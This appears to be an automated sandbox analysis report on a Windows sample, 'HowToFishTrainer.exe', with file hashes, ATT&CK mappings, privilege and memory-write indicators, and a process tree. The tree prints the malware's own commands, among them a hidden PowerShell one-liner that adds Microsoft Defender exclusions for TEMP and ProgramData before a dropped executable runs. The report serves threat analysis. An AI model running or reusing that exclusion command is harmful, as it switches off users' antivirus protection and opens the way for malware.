043afea45ab69c748c037262aa8c057e001e21853a76ddf601ba79940df1a4b0

Analysis

user interaction
yes
max time kernel
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 04:23

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General

Target
HowToFishTrainer.exe
Size 111.6MB
Sample260823-e1bcgsxvhx
SHA256 043afea45ab69c748c037262aa8c057e001e21853a76ddf601ba79940df1a4b0
MD5 db9ebcd828d4d75312a3aa0de2f83ed0
SHA1 21d5de082f60d5bdb3c63ed94315e8d33fc07423
SHA512 485037d8e6196aa020a4196d1d1f47617a2f70ef4c2c90e53fdf3b93eefb4acacac2d177f566879781851bbf1cbcbb4e23210b369ca4fe682e407e96f981455d
SSDEEP 1572864:1Pp36F/iKRzHo0EL9uXpXFxAI/MZqNrGZVOc4XIoC3MnluZQrZO:1PpIlHheuXpX/z/5NivOcC7hlTrQ
TLSH
T1BD48F01663E111AAD577D178C7AB6203EB72B40713308BDB329C43652F73AE45E7AB60
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5768	powershell.exe
3392	powershell.exe
3392	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2780	yVreqaBwhzxF.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	yVreqaBwhzxF.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2096	cmd.exe
4808	cmd.exe
1116	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5768	powershell.exe
5768	powershell.exe
3392	powershell.exe
3392	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	5768	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeIncreaseQuotaPrivilege	3392	powershell.exe
Token: SeSecurityPrivilege	3392	powershell.exe
Token: SeTakeOwnershipPrivilege	3392	powershell.exe
Token: SeLoadDriverPrivilege	3392	powershell.exe
Token: SeSystemProfilePrivilege	3392	powershell.exe
Token: SeSystemtimePrivilege	3392	powershell.exe
Token: SeProfSingleProcessPrivilege	3392	powershell.exe
Token: SeIncBasePriorityPrivilege	3392	powershell.exe
Token: SeCreatePagefilePrivilege	3392	powershell.exe
Token: SeBackupPrivilege	3392	powershell.exe
Token: SeRestorePrivilege	3392	powershell.exe
Token: SeShutdownPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeSystemEnvironmentPrivilege	3392	powershell.exe
Token: SeRemoteShutdownPrivilege	3392	powershell.exe
Token: SeUndockPrivilege	3392	powershell.exe
Token: SeManageVolumePrivilege	3392	powershell.exe
Token: 33	3392	powershell.exe
Token: 34	3392	powershell.exe
Token: 35	3392	powershell.exe
Token: 36	3392	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 424 wrote to memory of 2096	424	HowToFishTrainer.exe	89
PID 2096 wrote to memory of 5768	2096	cmd.exe	91
PID 424 wrote to memory of 4808	424	HowToFishTrainer.exe	92
PID 4808 wrote to memory of 5632	4808	cmd.exe	94
PID 5632 wrote to memory of 5296	5632	net.exe	95
PID 424 wrote to memory of 1116	424	HowToFishTrainer.exe	96
PID 1116 wrote to memory of 3392	1116	cmd.exe	98
PID 3392 wrote to memory of 5864	3392	powershell.exe	100
PID 424 wrote to memory of 2780	424	HowToFishTrainer.exe	101

C:\Users\Admin\AppData\Local\Temp\HowToFishTrainer.exe
"C:\Users\Admin\AppData\Local\Temp\HowToFishTrainer.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('version 1.0.0','Program','OK','Information')"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('version 1.0.0','Program','OK','Information')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5632
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP,'C:\ProgramData','C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'; gpupdate /force""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP,'C:\ProgramData','C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'; gpupdate /force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3392
  - - C:\Windows\system32\gpupdate.exe
      "C:\Windows\system32\gpupdate.exe" /force
      4⤵
      PID:5864
- C:\ProgramData\yVreqaBwhzxF.exe
  C:\ProgramData\yVreqaBwhzxF.exe
  2⤵
  - Executes dropped EXE
  - Checks for VirtualBox DLLs, possible anti-VM trick
  PID:2780

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

yVreqaBwhzxF.exe

Path C:\ProgramData\yVreqaBwhzxF.exe
Size 521KB
SHA256 ecdfee23f9db2bbdc65375dcd51718865f78eae8d737e0a1d05c518dc445512c
MD5 9b99e898f18e2bf9e7495f5b5c13e85d
SHA1 3cb110a743925258f1cc9b5f46d28128aeebbc90
SHA512 12b3d2fee4055d24177c1c7724549c7d8459c1423d1a3605cb364b3140bf4441fc1a3470ee79d97e424444122577c5a68bdf52eda7acba6729eae24bb7647b17
SSDEEP 12288:0uGTCJikvekAfcKg/tBrIM6H6ofWSlSjWS:+TCJikv2fcKg/PUM6HLuYSjW
TLSH
T164B47CA3A39227FCC1E6C374C016362CF6613F5156298696469AF7210F37A8CAF3DB54
MD5 SHA1 SHA512 SSDEEP TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

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__PSScriptPolicyTest_e2f1dxc3.1wg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e2f1dxc3.1wg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3392-20-0x000001DBAF4A0000-0x000001DBAF4AA000-memory.dmp

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memory/3392-19-0x000001DBAF3E0000-0x000001DBAF492000-memory.dmp

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memory/3392-18-0x000001DBAF3C0000-0x000001DBAF3DE000-memory.dmp

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memory/5768-6-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

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memory/5768-10-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

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memory/5768-12-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

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memory/5768-9-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

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memory/5768-8-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

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memory/5768-7-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

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memory/5768-1-0x00007FFAD210F000-0x00007FFAD2110000-memory.dmp

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memory/5768-5-0x000001E76AAF0000-0x000001E76AB12000-memory.dmp

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memory/5768-2-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

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